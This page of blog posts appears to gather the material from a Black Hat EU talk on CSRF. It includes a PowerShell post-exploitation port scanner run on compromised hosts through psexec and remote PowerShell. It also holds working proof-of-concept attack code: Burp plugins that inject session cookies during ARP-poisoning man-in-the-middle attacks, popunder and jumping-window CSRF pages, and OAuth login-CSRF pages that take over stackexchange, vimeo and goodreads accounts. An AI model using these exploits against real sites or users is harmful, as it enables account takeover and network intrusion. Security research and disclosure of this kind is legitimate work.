The Deputies are Still Confused (Full talk and content from Blackhat EU)

I’m finally posting the whole talk and all it’s content. I’ve been posting bits and stuff since March.

Here are the slides. There’s embedded media, so download for best results

Here are all the relavent/related blog posts, with code, etc. Roughly in the order of the talk:

.NET MVC AntiforgeryToken CSRF Testing
Common .NET ViewstateUserKey CSRF Issue
Stripping the Referer in a Cross Domain POST request
Common OAuth issue you can use to take over accounts
Cookie Tossing in the Middle
CSRF tips for dealing with x-frame-options

Powershell Portscanner

Here is the github link: https://github.com/webstersprodigy/PowerSploit/blob/Portscan/Recon/Invoke-Portscan.ps1. I’ve also put in a pull request on the awesome powersploit project, where hopefully it gets accepted and finds a more permanent home.

The first question is, why another port scanner?

  1. Similar to why you’d do anything in powershell in a post exploitation scenario :) You never have to write to disk, install software, or run as admin. You can just run this on any box with powershell. Nmap is better in most ways, but it doesn’t fit this bill.
  2. There are other powershell portscanners out there. Although they are good, in my opinion this is better than all of these existing scripts. For example, the one I linked to isn’t bad in any way, and is in fact the best I found comparable to what I’ve written. But it will take orders of magnitude longer to do scans, it’s not as flexible on the input options, it won’t work in powershell 2.0 out of the box (important for scenarios like I describe below), it doesn’t support ipv6, etc.
  3. Metasploit has auxilliary portscanners and it is also possible to pivot nmap scans through socks. IMO these are too slow to be usable. This looks promising http://blog.securestate.com/new-meterpreter-extension-released-msfmap-beta/ and it might be a better option if you do all your pwning through meterpreter.

Example 1 – Quick Sweep

You’ve compromised a host and you want to quickly see what other hosts/common ports are available on the same network. Say the sysadmins use RDP to manage the domain, so you’re using RDP on this host too. You don’t want to install any new software just now. My typical workflow is to actually just use -oA, which will output greppable, readable and xml files (sort of like nmap) and I use those to peruse the output. Depending on the number of hosts up, this should take about two minutes or so and it’s checking the top 50 ports.

PS> Import-Module .\Invoke-Portscan.ps1
PS> Invoke-Portscan -hosts "192.168.1.0/24" -oA stuff
PS> type .\alltest.gnmap | findstr Open
Host: 192.168.1.1       Open Ports: 443,53,22,5000
...

pscan

The module also outputs valid powershell objects, so you can save/pipe these and do the usual operations. Below is answering almost the same question

PS> Import-Module .\Invoke-Portscan.ps1
PS> $a = Invoke-Portscan -hosts "192.168.1.0/24"
PS> #print out only alive hosts
PS> foreach ($h in $a) {if ($h.alive) {$h}}

Hostname      : 192.168.1.1
alive         : True
openPorts     : {443, 53, 22, 5000}
closedPorts   : {}
filteredPorts : {80, 23, 21, 3389...}
finishTime    : 6/30/2013 11:56:54 AM

...

Example 2: Finding the way in

There are certain questions that can be hard to answer with traditional portscanning (nmap, metasploit, etc.). Say I have code execution on N boxes, but I want to make it to the “jewell box”. I currently can’t access it, but one of my N boxes may be able to access it, or something “closer” to the jewell. This can be common if they open up only certain ports and routes with IP whitelisting in related but separate environments. Behold my awesome visio skills as I demonstrate:

vlan

So what we want to do is tell all of our N boxes to scan all the hosts in vlan C, the place with the jewel, and see if any of our N boxes are able to reach it.

We can modify the invoke-powershell.ps1 script slightly to include our command at the end of it, outside of the function. This is similar to the basic usage above. But rather than execute it once, we want to try a portscan on the N hosts we control. Here is the line added to invoke-portscan, where 10.0.10.0 is the “jewel” network.

Invoke-Portscan -Hosts 10.0.10.0/24 -PingOnly -PS "80,443,445,8080,3389" -noProgressMeter

Now on the N hosts we control, we can use remote powershell, if it’s enabled. Here is a one liner that can call our modified script on a box that has remote powershell enabled. This can be easily customized to loop through all of your hosts, depending on how they auth, etc.

$a = Invoke-Command -ComputerName webstersprodigy.cloudapp.net -Port 54932 -Credential lundeen -UseSSL -FilePath C:\psScripts\Invoke-Portscan-mod.ps1

Another way to do this (other than remote powershell) is psexec. This will be executed on every host in hostfile.txt, so we’ll know about any host that can reach our destination. Obviously this is quick and dirty, but it demonstrates the flexibility.

$oFile = "pscan.txt"
$thosts = Get-Content hostfile.txt

foreach ($thost in $thosts)
{
    $nPath = "\\$thost\c$\Windows\Temp\stuff.ps1"
    copy -Path C:\Users\mopey\Desktop\Invoke-Portscan-mod.ps1 -Destination $nPath
    #psexecing powershell directly hangs as described here 
    #http://www.leeholmes.com/blog/2007/10/02/using-powershell-and-psexec-to-invoke-expressions-on-remote-computers/

    $myoutput = PsExec.exe /accepteula \\$thost cmd /c "echo . | powershell.exe -executionpolicy bypass $nPath"  2>&1 

    foreach($line in $myoutput) {
        Write-Host $line
        if($line.GetType().Name -eq "string") {
            if($line.Contains("True")) {
                echo "Source: $thost" >> $oFile
                break
            }
        }
    }
    remove-item $nPath
}

Conclusion and Lazy Reference

Thanks for reading, and let me know if you try it out, find it useful, have suggestions, etc. For the lazy, here is a reference to the args and some more examples, included with the source

> Get-Help Invoke-Portscan -full

NAME
    Invoke-Portscan
    
SYNOPSIS
    Simple portscan module
    
    PowerSploit Function: Invoke-Portscan
    Author: Rich Lundeen (http://webstersProdigy.net)
    License: BSD 3-Clause
    Required Dependencies: None
    Optional Dependencies: None
    
SYNTAX
    Invoke-Portscan -Hosts <String[]> [-ExcludeHosts <String>] [-Ports <String>] [-PortFile <String>] [-TopPorts <String>] [-ExcludedPorts <String>] 
    [-SkipDiscovery] [-PingOnly] [-DiscoveryPorts <String>] [-Threads <Int32>] [-nHosts <Int32>] [-Timeout <Int32>] [-SleepTimer <Int32>] [-SyncFreq <Int32>] 
    [-T <Int32>] [-GrepOut <String>] [-XmlOut <String>] [-ReadableOut <String>] [-AllformatsOut <String>] [-noProgressMeter] [-quiet] [-ForceOverwrite] 
    [<CommonParameters>]
    
    Invoke-Portscan -HostFile <String> [-ExcludeHosts <String>] [-Ports <String>] [-PortFile <String>] [-TopPorts <String>] [-ExcludedPorts <String>] 
    [-SkipDiscovery] [-PingOnly] [-DiscoveryPorts <String>] [-Threads <Int32>] [-nHosts <Int32>] [-Timeout <Int32>] [-SleepTimer <Int32>] [-SyncFreq <Int32>] 
    [-T <Int32>] [-GrepOut <String>] [-XmlOut <String>] [-ReadableOut <String>] [-AllformatsOut <String>] [-noProgressMeter] [-quiet] [-ForceOverwrite] 
    [<CommonParameters>]
    
    
DESCRIPTION
    Does a simple port scan using regular sockets, based (pretty) loosely on nmap
    

PARAMETERS
    -Hosts <String[]>
        Include these comma seperated hosts (supports IPv4 CIDR notation) or pipe them in
        
        Required?                    true
        Position?                    named
        Default value                
        Accept pipeline input?       true (ByValue)
        Accept wildcard characters?  false
        
    -HostFile <String>
        Input hosts from file rather than commandline
        
        Required?                    true
        Position?                    named
        Default value                
        Accept pipeline input?       false
        Accept wildcard characters?  false
        
    -ExcludeHosts <String>
        Exclude these comma seperated hosts
        
        Required?                    false
        Position?                    named
        Default value                
        Accept pipeline input?       false
        Accept wildcard characters?  false
        
    -Ports <String>
        Include these comma seperated ports (can also be a range like 80-90)
        
        Required?                    false
        Position?                    named
        Default value                
        Accept pipeline input?       false
        Accept wildcard characters?  false
        
    -PortFile <String>
        Input ports from a file
        
        Required?                    false
        Position?                    named
        Default value                
        Accept pipeline input?       false
        Accept wildcard characters?  false
        
    -TopPorts <String>
        Include the x top ports - only goes to 1000, default is top 50
        
        Required?                    false
        Position?                    named
        Default value                
        Accept pipeline input?       false
        Accept wildcard characters?  false
        
    -ExcludedPorts <String>
        Exclude these comma seperated ports
        
        Required?                    false
        Position?                    named
        Default value                
        Accept pipeline input?       false
        Accept wildcard characters?  false
        
    -SkipDiscovery [<SwitchParameter>]
        Treat all hosts as online, skip host discovery
        
        Required?                    false
        Position?                    named
        Default value                False
        Accept pipeline input?       false
        Accept wildcard characters?  false
        
    -PingOnly [<SwitchParameter>]
        Ping scan only (disable port scan)
        
        Required?                    false
        Position?                    named
        Default value                False
        Accept pipeline input?       false
        Accept wildcard characters?  false
        
    -DiscoveryPorts <String>
        Comma separated ports used for host discovery. -1 is a ping
        
        Required?                    false
        Position?                    named
        Default value                -1,445,80,443
        Accept pipeline input?       false
        Accept wildcard characters?  false
        
    -Threads <Int32>
        number of max threads for the thread pool (per host)
        
        Required?                    false
        Position?                    named
        Default value                100
        Accept pipeline input?       false
        Accept wildcard characters?  false
        
    -nHosts <Int32>
        number of hosts to concurrently scan
        
        Required?                    false
        Position?                    named
        Default value                25
        Accept pipeline input?       false
        Accept wildcard characters?  false
        
    -Timeout <Int32>
        Timeout time on a connection in miliseconds before port is declared filtered
        
        Required?                    false
        Position?                    named
        Default value                2000
        Accept pipeline input?       false
        Accept wildcard characters?  false
        
    -SleepTimer <Int32>
        Wait before thread checking, in miliseconds
        
        Required?                    false
        Position?                    named
        Default value                500
        Accept pipeline input?       false
        Accept wildcard characters?  false
        
    -SyncFreq <Int32>
        How often (in terms of hosts) to sync threads and flush output
        
        Required?                    false
        Position?                    named
        Default value                1024
        Accept pipeline input?       false
        Accept wildcard characters?  false
        
    -T <Int32>
        [0-5] shortcut performance options. Default is 3. higher is more aggressive. Sets (nhosts, threads,timeout)
            5 {$nHosts=30;  $Threads = 1000; $Timeout = 750  }
            4 {$nHosts=25;  $Threads = 1000; $Timeout = 1200 }
            3 {$nHosts=20;  $Threads = 100;  $Timeout = 2500 }
            2 {$nHosts=15;  $Threads = 32;   $Timeout = 3000 }
            1 {$nHosts=10;  $Threads = 32;   $Timeout = 5000 }
        
        Required?                    false
        Position?                    named
        Default value                0
        Accept pipeline input?       false
        Accept wildcard characters?  false
        
    -GrepOut <String>
        Greppable output file
        
        Required?                    false
        Position?                    named
        Default value                
        Accept pipeline input?       false
        Accept wildcard characters?  false
        
    -XmlOut <String>
        output XML file
        
        Required?                    false
        Position?                    named
        Default value                
        Accept pipeline input?       false
        Accept wildcard characters?  false
        
    -ReadableOut <String>
        output file in 'readable' format
        
        Required?                    false
        Position?                    named
        Default value                
        Accept pipeline input?       false
        Accept wildcard characters?  false
        
    -AllformatsOut <String>
        output in readable (.nmap), xml (.xml), and greppable (.gnmap) formats
        
        Required?                    false
        Position?                    named
        Default value                
        Accept pipeline input?       false
        Accept wildcard characters?  false
        
    -noProgressMeter [<SwitchParameter>]
        Suppresses the progress meter
        
        Required?                    false
        Position?                    named
        Default value                False
        Accept pipeline input?       false
        Accept wildcard characters?  false
        
    -quiet [<SwitchParameter>]
        supresses returned output and don't store hosts in memory - useful for very large scans
        
        Required?                    false
        Position?                    named
        Default value                False
        Accept pipeline input?       false
        Accept wildcard characters?  false
        
    -ForceOverwrite [<SwitchParameter>]
        Force Overwrite if output Files exist. Otherwise it throws exception
        
        Required?                    false
        Position?                    named
        Default value                False
        Accept pipeline input?       false
        Accept wildcard characters?  false
        
    <CommonParameters>
        This cmdlet supports the common parameters: Verbose, Debug,
        ErrorAction, ErrorVariable, WarningAction, WarningVariable,
        OutBuffer and OutVariable. For more information, see 
        about_CommonParameters (http://go.microsoft.com/fwlink/?LinkID=113216). 
    
INPUTS
    
OUTPUTS
    
NOTES
    
    
        version .13
    
    -------------------------- EXAMPLE 1 --------------------------
    
    C:\PS>Invoke-Portscan -Hosts "webstersprodigy.net,google.com,microsoft.com" -TopPorts 50
    
    
    Description
    -----------
    Scans the top 50 ports for hosts found for webstersprodigy.net,google.com, and microsoft.com
    
    
    
    
    
    -------------------------- EXAMPLE 2 --------------------------
    
    C:\PS>echo webstersprodigy.net | Invoke-Portscan -oG test.gnmap -f -ports "80,443,8080"
    
    
    Description
    -----------
    Does a portscan of "webstersprodigy.net", and writes a greppable output file
    
    
    
    
    
    -------------------------- EXAMPLE 3 --------------------------
    
    C:\PS>Invoke-Portscan -Hosts 192.168.1.1/24 -T 4 -TopPorts 25 -oA localnet
    
    
    Description
    -----------
    Scans the top 20 ports for hosts found in the 192.168.1.1/24 range, outputs all file formats
    
    
    
    
    
    
RELATED LINKS
    http://webstersprodigy.net

CSRF tips for dealing with x-frame-options

X-Frame-Options is becoming more and more common. With OAuth, protecting against UI redressing is even in the spec, so just creating a frame to do all your sneaky stuff won’t really work. With some of the OAuth attacks from the last few posts, the identity providers did all in fact enable x-frame-options.

How do we CSRF things that have X-Frame-Options enabled so we can’t use frames? We can always open a window, but a big popup isn’t really ideal. There are probably a lot of techniques here, but there are two options I explored, using a popunder, and just making the window jump around/hard to close.

The 2013BH tag links to all posts related to my recent Blackhat EU talk I gave in March. This is probably the last one (yeah, finally – I’m sick of talking about CSRF too) then I’ll hopefully post the whole talk finally :)

Hiding the CSRF with a popunder

In the OAuth examples I just popped up a window. It would be better if when we popped up the window, we hid it. Back in the day, you could just do something like this and it would hide the window.

function pwn() {
  win1 = fb_login();
  win1.blur();
  setTimeout("win1.close()", 5000);
  setTimeout("soundcloud_addlogin()", 5000);
}

In most browsers this doesn’t work anymore. Firefox and Chrome explicitly deny this (it was a bug here Blur results in window being lowered and some other window being raised (popunders are possible)).

However, it is still basically possible. Shady websites do this all the time, so you can just look at their code, or you can grab scripts from github https://gist.github.com/hpbuniat/1021924 :) Basically, the generic technique seems to be:

  1. On a click event
  2. On form submit
  3. open window
  4. the new window opens another window, then closes it
  5. focuses the opener window

Using this technique, we can exploit the OAuth CSRF much more ninjaly. The original soundcloud oauth (talked about here) looked something like this with a big ugly popup: http://www.youtube.com/watch?v=CmG01xprrlU

But with adding a popunder, well, it isn’t that exciting. But it’s relatively sneaky, and we’ve successfully CSRFed the page and taken over their soundcloud account. Below is a video of how the sneaky one looks.

In-your-face CSRF

Sometimes, like in the OAuth case, a CSRF takes a few seconds to complete. Sometimes even a minute or two. Techniques in the past focus mostly on hiding things, or “watching a video”. But there are a few interesting windows methods – moveTo(), moveBy(), resizeTo(), resizeBy() that, maybe in all practicality aren’t really better, but at least it’s funny.

It’s simple to create a script that CSRF’s the user, but jumps everywhere so it’s hard to close. Here it is in action:

Here’s the opener:

<html>
<head></head>
<body>
<title>In your Face</title>
<script>
function openwin() {
window.open("./randomwindow.html", "_blank", "status=0,scrollbars=0,menubar=0,resizable=0,scrollbars=0,width=1,height=1");
}
</script>

<a href="#" onclick="openwin()">click here for stuff</a>
</body>
</html>

and randomwindow.html

<html>
<head></head>
<body>
<title>Google</title>
<script>
function ass() {

    var x = Math.floor((Math.random() * screen.width)-(screen.width*.5));
    var y = Math.floor((Math.random() * screen.height)-(screen.height*.5));
    window.moveBy(x,y);
    document.getElementById("updater").innerHTML += "."
}

setInterval("ass();", 200);
</script>
<div id="updater"></div>
</body>
</html>

Thanks! That’s all for now.

Cookie Tossing in the Middle

In the past I’ve talked about one way to get in the middle as an attacker and use Burp as a MiTM proxy. One very nice thing to do in this position is to write cookies. This is a small part of my Blackhat talk from March, with related posts here.

Bypassing Double Submit Cookies on Vimeo

Say, for example, you have a web app that uses double submit cookies to prevent CSRF. I talk about this too much. You can bypass this protection with XSS in a neighboring site, but here’s how to practically do it as an attacker in the middle (although there are a million ways to do this).

One example is vimeo.com. When I was checking for OAuth CSRF flaws, vimeo seemed to do pretty good. They sent a state parameter and as far as I could tell this piece was fine. But for their generic CSRF protection, I noticed they were using plain double submit cookies. So a default POST request might look like this – note how the highlighted xsrft cookie and token parameter are equal:

vimeo1

It turns out that if you change the CSRF cookie/POST parameter pair, as long as they are equal the request will go through. So for example, even though you can’t read the secret cookie/post parameters without an xss, you could set the cookie (token) equal to “a” and the post parameter (xsrft) also equal to “a”. This is classic double submit. Vimeo relies on the fact that cookies are hard to write to prevent CSRF. On the same network, we can defeat this easily even if the requests are over HTTPS and the cookies are set with “secure”. Here are the hack steps:

  1. Redirect traffic to route through my attacker box, (like with ettercap, or with python and scapy like how I show Here). The goal is to simply arp poison the network and pass through all traffic, except port 80 is redirected to localhost Burp.
  2. Write an oversimplified burp plugin that waits for a specific request on the target domain (e.g. vimeo). This is not necessarily a request initiated by the user, as we’ll be forcing the user to make this request later. If the plugin sees that request, write the xsrft cookie to a known value. Note this will even write over secure/HttpOnly cookies. Although secure can prevent a cookie from being read over HTTP, it does not prevent it being written over. Although HSTS headers can mitigate this somewhat in some browsers, unless they force HTTPS at the root domain and all subdomains, then we can probably force the app to consume our attacker cookie:

    from burp import IBurpExtender
    from burp import IHttpListener
    
    class BurpExtender(IBurpExtender, IHttpListener):
    
    	target_domain = "vimeo.com"
    	target_path = "asdfasdfasdfasdfasdfasdf"
    	target_script = (
    """HTTP/1.1 200 OK
    Server: nginx
    Content-Type: text/html; charset=UTF-8
    
    <html><head></head><body>
    <script>
    document.cookie = "xsrft=bad111bad111; domain=vimeo.com; expires=Wed, 16-Nov-2013 22:38:05 GMT;";
    alert("Bad cookies are set for " + document.domain);
    </script>
    
    </body>
    </html>
    """)
    
    	def	registerExtenderCallbacks(self, callbacks):
    
    		self._helpers = callbacks.getHelpers()
    		callbacks.setExtensionName("Cookie Injector")
    
    		callbacks.registerHttpListener(self)
    		return
    
    	def processHttpMessage(self, toolFlag, messageIsRequest, messageInfo):
    		if not messageIsRequest:
    
    			httpService = messageInfo.getHttpService()
    			# if this is our iframe, inject cookies in the response
    			if (BurpExtender.target_domain == httpService.getHost() and
    				BurpExtender.target_path in messageInfo.getRequest().tostring()):
    				print "pwned!"
    				messageInfo.setResponse(BurpExtender.target_script)
    		return
    
  3. Our attack page doesn’t totally make use of our man in the middle, but it does use it for setting the CSRF cookie. Note the iframe request to http://vimeo.com/asdfasdfasdfasdfasdfasdf – this response will be sent from the burp plugin we have in place. The rest of this attack is the same as my OAuth weakness post from a couple weaks ago. Obviously, there are a lot of improvements that could be made. If we were serious, we’d probably just wait for HTTP requests, insert Javascript into those to do our bidding for us. But this is just a demo.
    <html>
      <body>
       <script type="text/javascript">
    
       function fb_login() {
        return (window.open("./fb_login.html", "_blank", "status=0,scrollbars=0,menubar=0,resizable=0,scrollbars=0,width=1,height=1"));
      }
    
       function vimeo_addlogin() {
         return (window.open("./vimeo_submit.html", "_blank", "status=0,scrollbars=0,menubar=0,resizable=0,scrollbars=0,width=1,height=1"));
      }
    
    
       function pwn() {
         win1 = fb_login();
         //win1.close()
      }
    
       function pwn2() {
         win2 = vimeo_addlogin();
         //win1.close()
      }
    
       </script>
    
       <p>This is just meant to be a dirty/simple PoC, and makes very little attempt at being stealthy</p>
    
       <p>To repro:</p>
    
       <ul>
       <li>login to vimeo</li>
       <li>First the cookies need to be set for vimeo.com. This is accomplished with MiTM and the iframe below,which should alert immediately. Done?</li>
       <li>click "pwn"</li>
       <li>click "pwn2" - the easiest way to hide this is with 2 clicks</li>
       <li>An attacker now owns your vimeo account!</li>
       </ul>
    
       <!-- necessary to get cookies if we haven't visited facebook -->
       < iframe height="1px" width="1px" style="position:absolute;top:0;left:0';" src="http://facebook.com" sandbox></iframe>
       <!--Note this will set our vimeo cookies -->
       < iframe height="1px" width="1px" style="position:absolute;top:0;left:0';" src="http://vimeo.com/asdfasdfasdfasdfasdfasdf" ></iframe>
    
    
    
    
      <a href="#" onclick="pwn()">pwn</a><br />
      <a href="#" onclick="pwn2()">pwn2</a>
      </body>
    </html>
    
    

Here is the attack in action:

Logging Someone into Another site

There was some confusion on my last post with OAuth CSRF I think, about it only being a Facebook problem. I don’t believe this is true. Although Facebook should fix the CSRF on their login imo, in a variety of circumstances it’s still possible to do almost the same attack against sites using other identity providers, like Twitter, Google, etc. (even though these other ID providers don’t have CSRF in their login). One of these circumstances is if there is an XSS somewhere in an ID provider’s neighbor site (e.g. if feedburner.google.com has xss you could log someone in to your attacker Google account). Another of these circumstances is if there is a man in the middle, where you can just manufacture this xss. This is what I’m showing here.

We can modify the OAuth CSRF attack above just slightly, and a man in the middle can compromise these sites with Twitter instead of Facebook. Here are the hack steps.

  1. Redirect traffic to route through my attacker box, as illustrated Here. This simply arp poisons the network, and passes through all traffic, except port 80 is redirected to localhost Burp.
  2. Write a Burp Plugin to toss cookies similar to above. In this case, it will toss cookies into Twitter to log the victim in as the attacker
    
    from burp import IBurpExtender
    from burp import IHttpListener
    
    class BurpExtender(IBurpExtender, IHttpListener):
    
    	target_domain = "twitter.com"
    	target_path = "asdfasdfasdfasdfasdfasdf"
    	target_script = (
    """HTTP/1.1 200 OK
    Server: nginx
    Content-Type: text/html; charset=UTF-8
    
    <html><head></head><body>
    <script>
    document.cookie = "_twitter_sess=BAh7EDoJdXNlcmwrB1DcLEM6D2NyZWF0ZWRfYXRsKwh3WImrPAE6DnJldHVy%250Abl90byJlaHR0cHM6Ly9hcGkudHdpdHRlci5jb20vb2F1dGgvYXV0aGVudGlj%250AYXRlP29hdXRoX3Rva2VuPVVGQ1pYamJaUGMySzNmaFVoWHZjM0Q4ZjAyZXJN%250AUU1oZmxKc21remxrOhNzaG93X2hlbHBfbGluazA6FWluX25ld191c2VyX2Zs%250Ab3cwOgxjc3JmX2lkIiVhMzc3YWM3NjQ1ODJlOTNhODY5YjgyNDVjMjc1YTEw%250AYyIKZmxhc2hJQzonQWN0aW9uQ29udHJvbGxlcjo6Rmxhc2g6OkZsYXNoSGFz%250AaHsABjoKQHVzZWR7ADoTcGFzc3dvcmRfdG9rZW4wOhBzdGF5X3NlY3VyZVQ6%250AG3Nlc3Npb25fcGFzc3dvcmRfdG9rZW4wOgdpZCIlMmU2OGZhNGVjYWY1MGUy%250AMTVkYjllOGU0MTYyMjdiNGE%253D--e649d4f0aa1f2c4108d1539caa322af0ae32c8a4;Domain=.twitter.com;Path=/;Expires=Thu, 02-Feb-2023";
    document.cookie = "auth_token=05a111348a605f4f546e60e6584adc4d4c69eacf;Domain=.twitter.com;Path=/;Expires=Thu, 02-Feb-2023 18:21:11 GMT";
    document.cookie = "twid=u%3D1127013456%7C0skYHxGKiKD8EF9Yb1fQqI%2F5YVk%3D;Domain=.twitter;Path=/;Expires=Thu, 02-Feb-2023 18:21:11 GMT";
    document.cookie = "twll=l%3D1360087643;Domain=.twitter.com;Path=/;Expires=Thu, 02-Feb-2023 18:21:11 GMT";
    alert("Bad cookies are set for " + document.domain);
    </script>
    
    </body>
    </html>
    """)
    
    	def	registerExtenderCallbacks(self, callbacks):
    
    		self._helpers = callbacks.getHelpers()
    		callbacks.setExtensionName("Cookie Injector")
    
    		callbacks.registerHttpListener(self)
    
    		return
    
    	def processHttpMessage(self, toolFlag, messageIsRequest, messageInfo):
    		if not messageIsRequest:
    
    			httpService = messageInfo.getHttpService()
    			# if this is our iframe, inject cookies in the response
    			if (BurpExtender.target_domain == httpService.getHost() and
    				BurpExtender.target_path in messageInfo.getRequest().tostring()):
    				print "Twitter Cookies Tossed!"
    				messageInfo.setResponse(BurpExtender.target_script)
    		return
    
  3. Once again, continue with a nearly identical attack, but this time using Twitter as the identity provider instead of Facebook. Here is an example against Goodreads. In practice, this is essentially useless since Goodreads is over HTTP, but the same principles apply to sites over HTTPS.
    <html>
      <body>
       <script type="text/javascript">
    
       function pwn() {
         location = "http://www.goodreads.com/user/twitter_sign_in";
      }
       </script>
    
       <p>This is just meant to be a dirty/simple PoC, and makes very little attempt at being stealthy</p>
    
       <p>To repro:</p>
    
       <ul>
       <li>login to goodreads</li>
       <li>First the cookies need to be set for twitter. This is accomplished with MiTM and the iframe below,which should alert immediately. Done?</li>
       <li>click "pwn"</li>
       <li>An attacker now owns your goodreads account!</li>
       </ul>
    
       < iframe height="1px" width="1px" style="position:absolute;top:0;left:0';" src="http://twitter.com/asdfasdfasdfasdfasdfasdf" ></iframe>
    
    
      <a href="#" onclick="pwn()">pwn</a><br />
      </body>
    </html>
    
    

Here is a video of this in action. Again, what this is doing is arp poisoning the network, logging the victim in to the attacker’s twitter account, and then exploiting the OAuth CSRF. In retrospect, I should have picked on a site that uses HTTPS for better effect :)

Common OAuth issue you can use to take over accounts

TLDR; This is a post about a CSRF issue in OAuth I found where if a victim visited a malicious site while logged in, they could take over your account. At least stackexchange, woot.com, imdb, goodreads, soundcloud, myspace, foxnews, pinterest, groupon, huffingtonpost, foursquare, slideshare, kickstarter, and (sort of) vimeo were all vulnerable to this attack this year.

The 2013BH tag links to all posts related to my recent Blackhat EU talk I gave in March. Probably two more posts are coming, and I’ll post the whole talk and finished whitepaper relatively soon, unless someone else does :)

OAuth and OpenID are protocols that can allow authorization and authentication to applications in a cross domain way. It’s common for popular websites to use these protocols to allow users to login from various sources without having to have credentials for the specific site. For example, the sites I list in the tldr all allow logins from identity providers such as Facebook, twitter, or Google.

Here’s an image from Facebook on how this flow can work

fb_login

This sort of flow can be used to associate multiple accounts. For example, an application can have an account on the site, but allow users to tie their Facebook profiles as an additional login mechanism. By necessity this is a cross domain POST, and can be difficult to protect against CSRF.

Several papers have written about this in the past (http://stephensclafani.com/2011/04/06/oauth-2-0-csrf-vulnerability/, http://sso-analysis.org/) and the spec itself has a section pertaining to CSRF mitigation. The recommendation is generically to pass a state parameter to the identity provider. For this to work, it is necessary for this parameter to be unguessable and tied to the originating site session. Although theoretically these recommendations could be effective, it should come as no surprise that this is difficult to get right.

Most sites rely on the fact that a user is logged in to their own identity provider site (such as Google or Facebook). However, this trust can easily be broken. In the case of Facebook, the login is/was vulnerable to CSRF. Additionally, even if the identity provider login attempts proper CSRF protection, it’s almost always possible to force cookies and log the user in as an attacker.

The First Attack I thought of

Here’s a typical scenario. StackExchange has old accounts since the early days, but to make your life easier they want you to be able login with newer accounts, like your Facebook account. This looks like:

stackexchange

Using attacks like I’ve chatted about in the past here, here, here and here, I thought this may be vulnerable to something like this:

  1. Toss the cookies into the victim stackoverflow account
  2. The cookies used for auth may not be tied to the nonce sent to the identifier (e.g. facebook or Google)
  3. Associate the attacker’s account with the victim’s account and win!

This is kind of hard to test, since you have to map out all the cookies for each site.

Easier Attack

It turns out there’s an easier way (although above will probably be a problem for a while). Here is the easier way:

  1. Create an attacker identity provider account (e.g. Facebook)
  2. Grant the accessing application (e.g. stackoverflow) permissions to attacker Facebook
  3. Victim is logged in to accessing application.
  4. A malicious site does the following:
    1. Logs victim in to attacker’s Facebook by using CSRF on the Login, or by tossing cookies
    2. POSTs to the account association request
  5. Attacker Logs out of other sessions
  6. At this point an attacker completely controls the victim application account, and can usually perform various actions, such as deleting the other logins.

Out of all the applications tested (see below for most of them), all but one have proven vulnerable to this attack. Congratulations flickr, you’re the only site I looked at that seemed to do this without any issue :)

Stackexchange, woot.com, etc. Repro

There are a couple ways this similar vulnerability occurs, but I’ll spell out stackexchange first, since they were the first site I attempted this on. The stackexchange people were awesome – they responded in less than a day, and some dev was like “my bad”, and fixed it in just a few hours. Other sites took months to fix and never even talked to me about it really.

Here I’ve omitted things around reliability, logging the victim out, and sneakiness for the sake of simplicity (but I will cover this in a followup post soon. Really, I will, it was part of the blackhat talk too). The below repro is with Firefox inprivate mode, using Facebook. Here is a video showing what it should look like if you follow along.

Walking through the steps above with more stackexchange specific detail:

  • Create an attacker Facebook account
  • Give the application permission to the attacker’s account. Do not finish the entire flow here, just tell Facebook you want to give stackexchange access to everything

se_perm

  • Use the following script to login to Facebook. This particular technique is from Kotowicz for removing the referer on Facebook login. Note I have a more robust script that I developed after this here. Similarly, you can do attacks with other identity providers (Twitter, Google, etc) but you need to toss cookies into their domain, so it’s definitely more difficult.
//fb_login.html
 function post_without_referer() {
    // POST request, WebKit & Firefox. Data, meta & form submit trinity
   location = 'data:text/html,<html><meta http-equiv="refresh"
content="0; url=data:text/html,' +
              '<form id=dynForm method=POST
action=\'https://www.facebook.com/login.php?login_attempt=1\'>' +
              '<input type=hidden name=email value=yyy@live.com />' +
              '<input type=hidden name=pass value=xxxxxxxx/>' +
              '<input type=hidden name=default_persistent value=0 />' +
              '<input type=hidden name=timezone value=480 />' +
              '<input type=hidden name=locale value=en_US />' +
              '</form><script>document.getElementById(\'dynForm\').submit()</scri'+'pt>"></html>';
}
  post_without_referer();
  • Create an HTML page that logs in as the attacker and then ties the attacker account to the victim account.
<html>
  <body>
   <script type="text/javascript">

   function fb_login() {
    return (window.open("./fb_login.html", "_blank",
"status=0,scrollbars=0,menubar=0,resizable=0,scrollbars=0,width=1,height=1"));
  }

   function stackexchange_addlogin() {
     document.getElementById("sForm").submit();
  }



   function pwn() {
     win1 = fb_login();
     setTimeout("stackexchange_addlogin()", 7000);
     //win1.close()
  }

   </script>

   <p>This is just meant to be a dirty/simple PoC, and makes very
little attempt at being stealthy</p>

   <p>To repro:</p>


   <ul>
   <li>login to stackexchange</li>
   <li>click "pwn"</li>
   <li>An attacker now owns your stackexchange account!</li>
   </ul>

   <!-- iframe necessary to get cookies if we haven't visited facebook 
          (needed to put a space modify to put on page)-->
    < iframe height="1px" width="1px" style="position:absolute;top:0;left:0';" src="http://facebook.com" sandbox>< /iframe>


    <form id="sForm"
action="http://stackexchange.com/users/authenticate" method="POST">
      <input type="hidden" name="oauth_version" value="2.0" />
      <input type="hidden" name="oauth_server"
value="https://graph.facebook.com/oauth/authorize"
/>
      <input type="hidden" name="openid_identifier" value="" />
    </form>



  <a href="#" onclick="pwn()">pwn</a>
  </body>
</html>

Read more of this post